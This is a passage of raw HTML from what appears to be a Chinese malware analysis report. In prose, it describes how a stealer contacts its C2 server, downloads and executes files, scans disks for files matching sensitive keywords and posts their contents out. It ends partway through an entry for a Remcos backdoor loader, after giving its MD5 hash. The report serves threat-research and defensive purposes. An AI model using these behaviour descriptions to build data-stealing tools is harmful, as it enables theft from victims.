src="https://wechat2rss.xlab.app/img-proxy/?k=8576857b&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FEmmib7pWXrXJjpE3gHJy3iaAFibibDSzkTBGIic6DllEosHYFqrQotegiapbymE2IofICNaGJoMRQy7BbsObEQuUzc7utkyETXhZFTHcf9o4Qvmns%2F640%3Fwx_fmt%3Dpng"/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/></span></p><p style="margin: 16px 0px;text-indent: 2em;line-height: 1.6em;"><span mpa-font-style="mo19dgou199b" style="font-size: 17px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);letter-spacing: 0.034em;font-style: normal;font-weight: normal;">4）</span><span leaf="" style="color: rgba(0, 0, 0, 0.9);letter-spacing: 0.034em;font-style: normal;font-weight: normal;">样本C2返回的数据为json格式，样本解析其中的file_hashes字段，获取其中的哈希列表</span></span><o:page></o:page></p><p style="text-indent: 0px;margin-top: 16px;margin-bottom: 16px;line-height: 1.6em;text-align: center;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-style: normal;font-weight: normal;"><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.44607329842931936" data-w="955" style="width: 553.74px;height: 247px;" src="https://wechat2rss.xlab.app/img-proxy/?k=e64cec9f&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FEmmib7pWXrXKPZzd59ZqfPFzfM3yfC355x5EkVXVq7PDHK7ALrYIgx39Mg3MmfIRU4ic3FXL4QyhPKNP9SPmMdyU5C8UtlicmVmdUB2pmmAyibE%2F640%3Fwx_fmt%3Dpng"/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/></span></p><p style="margin: 16px 0px;text-indent: 2em;line-height: 1.6em;"><span mpa-font-style="mo19dgouai2" style="font-size: 17px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);letter-spacing: 0.034em;font-style: normal;font-weight: normal;">5）</span><span leaf="" style="color: rgba(0, 0, 0, 0.9);letter-spacing: 0.034em;font-style: normal;font-weight: normal;">样本创建一个异步任务，用于从C2下载文件。样本首先会初始化一个计时器，定时器设为34秒。</span></span></p><p style="text-indent: 0px;margin-top: 16px;margin-bottom: 16px;line-height: 1.6em;text-align: center;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-style: normal;font-weight: normal;"><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.5492753623188406" data-w="690" style="width: 553.74px;height: 304.14px;" src="https://wechat2rss.xlab.app/img-proxy/?k=9894fc70&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FEmmib7pWXrXLXFVia5IJltTzX9L5uvqiaialtkicrWjTZdoRHIYWZ0CQnwbZZhhRIoZWdROVa8XCdLnfARhYQugzJIsv4061gicTcpz8IN511vNc4%2F640%3Fwx_fmt%3Dpng"/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/></span></p><p style="margin: 16px 0px;text-indent: 2em;line-height: 1.6em;"><span data-remoteid="" data-asynid="" src="http://mmbiz.qpic.cn/mmbiz_png/Emmib7pWXrXLnDZgRpDDzV70QpuZ5niaMVWcq7MvYpYSAuiay5Ociakdg918oViafkhjto9KFzJEnn3DBtJoRKiaSDl8MEtZeeEcIc0ZDzz8VbSEM/0?wx_fmt=png" data-src="" align="" alt="" border="" class="rich_pages wxw-img" data-ratio="0.5178791615289766" data-s="" data-type="" data-w="811" aria-label="" aria-braillelabel="" aria-description="" height="" hspace="" ismap="" opacity="" sizes="" title="" type="" usemap="" vspace="" width="" data-width="" data-height="" data-croporisrc="" data-cropx1="" data-cropx2="" data-cropy1="" data-cropy2="" data-cropselx1="" data-cropselx2="" data-cropsely1="" data-cropsely2="" data-backw="" data-backh="" data-copyright="" data-oversubscription-url="" data-before-oversubscription-url="" data-galleryid="" data-gallerysupplier="" data-cardimg="" data-fileid="" data-imgfileid="" data-positionback="" data-imgqrcoded="" data-imgid="" data-upload="" data-fromlib="" data-aiimageid="" data-aiimagesource="" data-cacheurl="" data-aistatus="" data-retry="" mpa-font-style="mo19dgou238j" style="font-size: 17px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);letter-spacing: 0.034em;font-style: normal;font-weight: normal;">样本下载文件，保存到当前的工作路径中。并执行。</span></span><o:page></o:page></p><p style="text-indent: 0px;margin-top: 16px;margin-bottom: 16px;line-height: 1.6em;text-align: center;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-style: normal;font-weight: normal;"><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.5178791615289766" data-w="811" style="width: 553.74px;height: 286.8px;" src="https://wechat2rss.xlab.app/img-proxy/?k=97aa0bcc&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FEmmib7pWXrXLnDZgRpDDzV70QpuZ5niaMVWcq7MvYpYSAuiay5Ociakdg918oViafkhjto9KFzJEnn3DBtJoRKiaSDl8MEtZeeEcIc0ZDzz8VbSEM%2F640%3Fwx_fmt%3Dpng"/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/></span></p><p style="margin: 16px 0px;text-indent: 2em;line-height: 1.6em;"><span mpa-font-style="mo19dgou18wh" style="font-size: 17px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);letter-spacing: 0.034em;font-style: normal;font-weight: normal;">6）</span><span leaf="" style="color: rgba(0, 0, 0, 0.9);letter-spacing: 0.034em;font-style: normal;font-weight: normal;">样本执行一个异步任务，用于监测存储设备变更情况。判断存储设备（如：u盘、硬盘等）拔插行为。如果设备出现了数量变化，就暂停计时器。</span></span></p><p style="text-indent: 0px;margin-top: 16px;margin-bottom: 16px;line-height: 1.6em;text-align: center;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-style: normal;font-weight: normal;"><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.5238095238095238" data-w="630" style="width: 553.74px;height: 290.07px;" src="https://wechat2rss.xlab.app/img-proxy/?k=b0094c84&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FEmmib7pWXrXJoaAz57hIw0BTa8YcD25DCQbiaKyHeP6micfB2InkTicjibYUuub9MQnulMKS3zMNkAQ76TYF8pXjEXUheoJJEXd2xqtgOTKaUiaJU%2F640%3Fwx_fmt%3Dpng"/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/></span></p><p style="margin: 16px 0px;text-indent: 2em;line-height: 1.6em;"><span mpa-font-style="mo19dgour30" style="font-size: 17px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);letter-spacing: 0.034em;font-style: normal;font-weight: normal;">7）</span><span leaf="" style="color: rgba(0, 0, 0, 0.9);letter-spacing: 0.034em;font-style: normal;font-weight: normal;">样本通过连接C2，获取某类存储的同步优先级(如SSD、HDD）、获取特定存储的实际同步优先级(如：C盘)、获取关注的敏感词、获取传输任务数量。</span></span><o:page></o:page></p><p style="text-indent: 0px;margin-top: 16px;margin-bottom: 16px;line-height: 1.6em;text-align: center;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-style: normal;font-weight: normal;"><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.43859649122807015" data-w="855" style="width: 553.74px;height: 242.87px;" src="https://wechat2rss.xlab.app/img-proxy/?k=874c8a0f&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FEmmib7pWXrXKd3xhnz7dIT5N9bDWZtVs0Bk5g0iaZ9uhakL1KNhibx9mGrhEFyVodzkcS5G6JstTLnQOTN32F31IeXucrb4ohHZLmJzzObGwPg%2F640%3Fwx_fmt%3Dpng"/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/></span></p><p style="margin: 16px 0px;text-indent: 2em;line-height: 1.6em;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-style: normal;font-weight: normal;" mpa-font-style="mo19dgou1bo8">之后就是启动计时器，根据C2传来的配置进行更新，将当前的任务队列进行更新。随后就进入到窃密工作。</span></p><p style="text-indent: 0px;margin-top: 16px;margin-bottom: 16px;line-height: 1.6em;text-align: center;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-style: normal;font-weight: normal;"><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.5945945945945946" data-w="740" style="width: 553.74px;height: 329.27px;" src="https://wechat2rss.xlab.app/img-proxy/?k=7a6ab29d&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FEmmib7pWXrXLZF3Ne2nYb2iax4aPeyVUJV49TQ5A2icBHU5QeaicRVQibrqJHSNEEtGzyLODkaicmibC4qAuaSOibrhpue6b3XXmSeWxygaZ2icXcbcA%2F640%3Fwx_fmt%3Dpng"/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/></span></p><p style="margin: 16px 0px;text-indent: 2em;line-height: 1.6em;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-style: normal;font-weight: normal;" mpa-font-style="mo19dgouz0j">样本根据任务队列配置的优先级，进行路径或磁盘扫描。</span></p><p style="text-indent: 0px;margin-top: 16px;margin-bottom: 16px;line-height: 1.6em;text-align: center;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-style: normal;font-weight: normal;"><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.2679900744416873" data-w="806" style="width: 553.74px;height: 148.4px;" src="https://wechat2rss.xlab.app/img-proxy/?k=dcb90fd5&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FEmmib7pWXrXJESt5w37QADIxZ1LVrHoSszaydibCqJaqYFHJCtiaha6C1utsZmfQDqlfZZmEwstLNt8YMJdMnfzC584XqHQvaCvMdjNcvUoyJc%2F640%3Fwx_fmt%3Dpng"/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/></span></p><p style="margin: 16px 0px;text-indent: 2em;line-height: 1.6em;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-style: normal;font-weight: normal;" mpa-font-style="mo19dgou217b">扫描过程中，会将含有关键词的文件加入到文件列表中。</span><o:page></o:page></p><p data-remoteid="" data-asynid="" src="http://mmbiz.qpic.cn/mmbiz_png/Emmib7pWXrXJm5BsHfQv3mDE5CrPjw4GJ53P4nDO5BHkjScibl9ply8fmU7rfhdHVQ04TcCkhpgFGNzfggTyrRibEicjt9ZkyGwiaeqS31Y1t1VY/0?wx_fmt=png" data-src="" align="" alt="" border="" class="rich_pages wxw-img" data-ratio="0.46125" data-s="" data-type="" data-w="800" aria-label="" aria-braillelabel="" aria-description="" height="" hspace="" ismap="" opacity="" sizes="" title="" type="" usemap="" vspace="" width="" data-width="" data-height="" data-croporisrc="" data-cropx1="" data-cropx2="" data-cropy1="" data-cropy2="" data-cropselx1="" data-cropselx2="" data-cropsely1="" data-cropsely2="" data-backw="" data-backh="" data-copyright="" data-oversubscription-url="" data-before-oversubscription-url="" data-galleryid="" data-gallerysupplier="" data-cardimg="" data-fileid="" data-imgfileid="" data-positionback="" data-imgqrcoded="" data-imgid="" data-upload="" data-fromlib="" data-aiimageid="" data-aiimagesource="" data-cacheurl="" data-aistatus="" data-retry="" style="text-indent: 0px;margin-top: 16px;margin-bottom: 16px;line-height: 1.6em;text-align: center;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-style: normal;font-weight: normal;"><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.3188405797101449" data-w="690" style="width: 553.74px;height: 176.54px;" src="https://wechat2rss.xlab.app/img-proxy/?k=90218dcc&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FEmmib7pWXrXJoHrfxsquFyXcZOjMfOXbWaNlbaf7e1bbsamQluwUbrF2Ih4oJuiayk52ZXUyI5m85oEryIrRricDkVknWVPxWXP6pYsYdoMB48%2F640%3Fwx_fmt%3Dpng"/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/></span></p><p style="margin: 16px 0px;text-indent: 2em;line-height: 1.6em;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-style: normal;font-weight: normal;" mpa-font-style="mo19dgou46j">根据文件列表中的数量，挨个进行文件异步传输。</span></p><p style="text-indent: 0px;margin-top: 16px;margin-bottom: 16px;line-height: 1.6em;text-align: center;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-style: normal;font-weight: normal;"><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.46125" data-w="800" style="width: 553.74px;height: 255.4px;" src="https://wechat2rss.xlab.app/img-proxy/?k=ae9b58a2&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FEmmib7pWXrXJm5BsHfQv3mDE5CrPjw4GJ53P4nDO5BHkjScibl9ply8fmU7rfhdHVQ04TcCkhpgFGNzfggTyrRibEicjt9ZkyGwiaeqS31Y1t1VY%2F640%3Fwx_fmt%3Dpng"/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/></span></p><p style="margin: 16px 0px;text-indent: 2em;line-height: 1.6em;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-style: normal;font-weight: normal;" mpa-font-style="mo19dgou1v16">读取目标文件的内容</span></p><p style="text-indent: 0px;margin-top: 16px;margin-bottom: 16px;line-height: 1.6em;text-align: center;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-style: normal;font-weight: normal;"><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.3567708333333333" data-w="768" style="width: 553.74px;height: 197.54px;" src="https://wechat2rss.xlab.app/img-proxy/?k=c9359c9e&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FEmmib7pWXrXIiapzicSn7bJoRrGPHbdzZsbADWLVWlGhpCkncOlI1lBq2JdpMU6KPdBPgLthQGLOTiaNrbnzwNu2RyNMhiaD88faicLJicOzfww4hs%2F640%3Fwx_fmt%3Dpng"/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/></span></p><p style="margin: 16px 0px;text-indent: 2em;line-height: 1.6em;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-style: normal;font-weight: normal;" mpa-font-style="mo19dgou1nw8">将文件内容post到C2服务器中。</span></p><p style="text-indent: 0px;margin-top: 16px;margin-bottom: 16px;line-height: 1.6em;text-align: center;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-style: normal;font-weight: normal;"><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.1935933147632312" data-w="718" style="width: 553.74px;height: 107.2px;" src="https://wechat2rss.xlab.app/img-proxy/?k=2bfb61c7&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FEmmib7pWXrXJrwx3geUQrreTS6NmIzWRnNqysQ7fCVclrJeX9BOYy5wCW9BhsGPOhY9kc1KcvDDj5lJwAMVoNiaWW9ZyxSkpPDtaCqJrIKonY%2F640%3Fwx_fmt%3Dpng"/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/></span><o:page></o:page></p><ul style="list-style-type: disc;" class="list-paddingleft-1"><li><p style="margin: 16px 0px;text-indent: 0px;line-height: 1.6em;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-style: normal;font-weight: normal;" mpa-font-style="mo19dgou19cf"><span textstyle="" style="font-weight: bold;">Remcos后门</span></span></p></li></ul><p style="margin: 16px 0px;text-indent: 2em;line-height: 1.6em;"><span lang="EN-US" mpa-font-style="mo19dgou1g7a" style="font-size: 17px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);letter-spacing: 0.034em;font-style: normal;font-weight: normal;">该组件是一个加载器，用于释放加载Remcos后门。</span></span></p><div style="margin-left: 0;margin-right: 0;"><div><div><div><div><p><table style="width:481px;"><tbody><tr><td data-colwidth="127"><p><span style="font-size: 16px;"><span leaf="">MD5</span></span></p></td><td data-colwidth="354"><span style="font-family: &#34;mp-quote&#34;, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span style="font-size: 16px;"><span leaf="">017eb0e90e70a48e3b57f9c315e280f5</span></span></span></td></tr><tr><td data-colwidth="127"><p><span style="font-size: 16px;"><span leaf="">文件名称</span></span></p></td><td data-colwidth="354"><span style="font-family: &#34;mp-quote&#34;, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei 